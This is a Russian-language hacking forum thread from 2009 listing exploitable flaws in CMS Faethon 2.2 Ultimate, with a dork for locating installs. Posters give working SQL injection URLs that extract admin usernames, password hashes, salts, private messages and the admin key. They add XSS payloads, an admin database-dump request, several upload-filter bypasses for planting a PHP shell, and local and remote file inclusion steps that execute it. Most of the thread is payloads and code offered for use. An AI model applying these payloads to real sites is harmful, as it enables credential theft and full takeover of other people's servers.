Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Сценарии/CMF/СMS (https://forum.antichat.xyz/forumdisplay.php?f=114)
-   -   CMS Faethon 2.2 Ultimate (https://forum.antichat.xyz/showthread.php?t=115923)

eLWAux 14.04.2009 19:26

CMS Faethon 2.2 Ultimate
 
http://i028.radikal.ru/0904/03/fc3d291470b0.png
скачать: http://cmsfaethon.org/downloads/#22ultimate
dork: "Powered by CMS Faethon"
очень интересная cms) никаких проверок, никаких фильтраций, и подобного..
в общем, баги присутствует почти в каждом файле)


BlindSQLinj vote.php:
/vote.php?alt=' blindSQLinjection--+ - только один раз с одного ip
PHP код:

$result=sql_query("SELECT ip FROM ".$SQL_PREFIX."_survey_ip WHERE ip = '".$your_ip."'");
    
$survey sql_fetch_object($result);
    
    if(!empty(
$survey->ip))
    {
        echo(
$lang['already_you_voted']);
    }
    elseif(empty(
$survey->ip))
    {
        
//vypis poctu hlasu u odpovedi $_GET['alt']
        
$result=sql_query("SELECT votes, survey_id FROM ".$SQL_PREFIX."_survey_alternatives WHERE id = '".$_GET['alt']."'"); 

SQLinj info.php:
/info.php?item=' union select concat_ws(0x3a,username,password,string),2 from <PREFIX>_users where id=1--+
/info.php?item=' union select concat_ws(0x3a,from_user,to_user,subject,text,date _send,date_read),2 from n07_users_pms limit x,x--+ - читаем ПМ :)
/info.php?item=' union select adminkey,2 from n07_config where cfg=1--+ - читаем админ_ключ

PHP код:

$result=sql_query("SELECT title, text FROM ".$SQL_PREFIX."_html_sections WHERE address = '" $_GET['item'] . "' "$multilang -> sql .";"); 

по дефолту , <PREFIX> ]= n07
Формирование паролей:
PHP код:

function GetHash($password$string)
    {
        
$passwd $password $string;
        return 
sha1($passwd);
    } 

SQLinj author.php:
/author.php?id=' union select 1,concat_ws(0x3a,username,password,string) from n07_users where id=1--+
/author.php?name=' union select 1,concat_ws(0x3a,username,password,string) from n07_users where id=1--+
PHP код:

if(isset($_GET['id']))
    {
        
$result=sql_query("SELECT id, name FROM ".$SQL_PREFIX."_authors WHERE id = '" $_GET['id'] . "';");
    }
    elseif(isset(
$_GET['name']))
    {
        
$result=sql_query("SELECT id, name FROM ".$SQL_PREFIX."_authors WHERE item = '" $_GET['name'] . "';");
    } 

Раскрытие путей::
/?SetLang[]=eng
/gallery/image.php?id[]=175
/articles.php?from_date[]=1-2-3&to_date=1-2-3


XSS::
/article.php?item=">XSS<a href=

XSS в ПМ-сообщениях::
можно отправить админу пм )
/user_pms.php?action=new_msg
Код:

        Komu: ..
        Předmět: <script>alert('O_o');</script>
        Message: ..

в админке /admin/ ::
дамп - /admin/acp/backup/dump.php
$_POST['backup'] = 4; //Download
$_POST['akce'] = SaveDump ;
^^ надо передать post запросом

Dimi4 14.04.2009 21:42

Админка.

[admin\files-manager\action.php 31 line]
Быстренько просмотрев код... Блеклисты не рулят =))
PHP код:

if(eregi('\.php$'$_FILES['file']['name'][$i]) || eregi('\.php3$'$_FILES['file']['name'][$i]) || eregi('\.php4$'$_FILES['file']['name'][$i]) || eregi('\.php5$'$_FILES['file']['name'][$i]) || eregi('\.phtml$'$_FILES['file']['name'][$i])) 

Сочиняем .httaccess и грузим
Код:

AddType application/x-httpd-php .jpg
Также помним что eregi чуствительна к нулл байту ;)

[Raz0r] 14.04.2009 21:59

Также помним, что PHP проводит нормализацию пути:
shell.php/

Dimi4 14.04.2009 22:50

Продолжим (:

http://localhost/22_ultimate/admin/?cmd=gallery.images

[/admin/gallery/upload.php 50 line]

Мега защита =)

PHP код:

        $rozdeleni explode("."$_FILES['image']['name'][$i]);
        if(
$rozdeleni[1] == "jpg" or $rozdeleni[1] == "JPG"
        { 

Если у нас shell.jpg.php, то:

Код:

Array ( [0] => shell [1] => jpg [2] => php )
Опять таки Заливка шелла. Проблема что заливается с расширением Array[1].
RFI
Рассмотрим admin\acp\extensions\index.php
Существует вот такой вот код.
PHP код:

if($_GET['op'] == 'install') {
    
$cms_root '../';
    
$path '../ext/install.' $_GET['ext'] . '.php';
    
$chksum md5_file($path);
    
    if(
file_exists($path)) {
        
$result=sql_query("SELECT chksum FROM ".$SQL_PREFIX."_ext WHERE chksum = '" $chksum "';");
    
$row_array sql_fetch_row($result);
    if(
$row_array[0] != $chksum) {
            include(
$path); 

Есть инклуд
PHP код:

include($path); 

Обращаемся к скрипту:
index.php?op=install&ext=[path]

$chksum
- ето у нас путь в md5.
Скрипт не может сделать sql_query, так как нет такого класа. Следовательно sql_fetch_row не выполнится тоже, а $row_array[0] не будет ровно $chksum. Имеем include($path);

LFI

/admin/acp/restore/restore.php

PHP код:

elseif(isset($_POST['download']))
    {
        
header('Content-Description: File Transfer');
        
header('Content-Type: text/x-sql');
        
header('Content-Disposition: attachment; filename="'$_POST['file'] .'.sql"');
    
        include(
'../store/'$_POST['file'] .'.sql');
    } 

POST file=../../../gallery/data/{nameofgallery}/full/shell.jpg}&download=


Время: 18:29